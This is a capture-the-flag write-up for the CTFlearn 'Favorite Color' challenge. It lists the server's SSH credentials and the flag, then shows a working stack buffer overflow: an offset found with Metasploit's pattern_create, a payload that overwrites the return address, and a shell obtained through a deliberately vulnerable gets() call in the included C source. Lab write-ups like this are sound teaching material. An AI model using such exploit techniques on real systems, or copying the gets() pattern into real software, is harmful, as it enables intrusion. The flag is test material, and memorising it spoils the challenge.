

Favorite Color

Favorite Color

What's your favorite color?

Would you like to share with me?

Run the command: **ssh color@104.131.79.111 -p 1001**

(pw: guest) to tell me

Flag: CTFlearn{c0lor_0f_0verf1ow}

Writeup:

login with ssh

enumerate binary and machine

ran **gdb color** and inserted input of 100 a's using **python print('A'*100)** to get segmentation fault at

0x41414141

used metasploit pattern_create ruby script to create pattern below: **/usr/share/metasploit-framework/tools/exploit/-**

pattern_create.rb -l 100

'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9'

our buffer overflow payload will look like this since overflow is at 52 letters: **52 junk letters + 4 bytes return address**

tested theory in gdb using 52 character string to overflow using python: **print('A'*52 + '\x42\x43\xfe\xff')**

0xbec34342

then made payload on victim machine with by running outside gdb: **python -c "print('A'*52 + '\x42\x43\xfe\xff')" > /tmp/pay.in**

now we must find location for the payload

run **disas main** in gdb

0x08048657 <+120>: looks like a good spot since it is after **vuln** function

final payload will be this: **(python -c "print('A'*52 + '\x57\x86\x04\x08');"cat) | ./color**

run payload outside gdb to get shell

color@ubuntu-512mb-nyc3-01:~\$ (python -c "print('A'*52 + '\x57\x86\x04\x08');"cat) | ./color

Enter your favorite color: Me too! That's my favorite color too!

You get a shell! Flag is in flag.txt

cat flag.txt

flag{c0lor_0f_0verf1ow}

color.c-file

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
```

```
int vuln() {
    char buf[32];

    printf("Enter your favorite color: ");
    gets(buf);

    int good = 0;
    for (int i = 0; buf[i]; i++) {
        good &= buf[i] ^ buf[i];
    }

    return good;
}
```

```
}  
  
int main(char argc, char** argv) {  
    setresuid(getegid(), getegid(), getegid());  
    setresgid(getegid(), getegid(), getegid());  
  
    //disable buffering.  
    setbuf(stdout, NULL);  
  
    if (vuln()) {  
        puts("Me too! That's my favorite color too!");  
        puts("You get a shell! Flag is in flag.txt");  
        system("/bin/sh");  
    } else {  
        puts("Boo... I hate that color! :(");  
    }  
}
```